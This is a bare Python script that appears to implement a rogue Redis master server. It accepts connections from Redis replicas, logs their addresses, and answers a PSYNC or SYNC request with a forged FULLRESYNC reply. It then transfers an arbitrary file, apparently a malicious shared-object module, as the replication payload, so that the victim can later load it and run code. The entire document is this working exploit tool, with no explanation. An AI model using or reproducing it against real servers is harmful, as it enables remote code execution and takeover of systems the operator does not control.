import socket, sys, time
SO = open(sys.argv[1], 'rb').read()
PORT = int(sys.argv[2])
s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', PORT)); s.listen(16)
while True:
    c, a = s.accept(); c.settimeout(20)
    try:
        open('/tmp/rtmod/rogue.log','a').write('%s conn %s\n' % (time.strftime('%H:%M:%S'), a[0]))
    except Exception:
        pass
    sent = False
    try:
        while True:
            data = c.recv(4096)
            if not data: break
            up = data.upper()
            if b'PSYNC' in up or up.startswith(b'SYNC'):
                if not sent:
                    c.sendall(b'+FULLRESYNC 46b1ac0f2f8e0f6b9e2b1c0d1e2f3a4b5c6d7e8f 1\r\n')
                    c.sendall(b'$' + str(len(SO)).encode() + b'\r\n')
                    c.sendall(SO)
                    sent = True
                else:
                    c.sendall(b'+OK\r\n')
            elif up.startswith(b'PING'):
                c.sendall(b'+PONG\r\n')
            else:
                c.sendall(b'+OK\r\n')
    except Exception:
        pass
    try: c.close()
    except Exception: pass
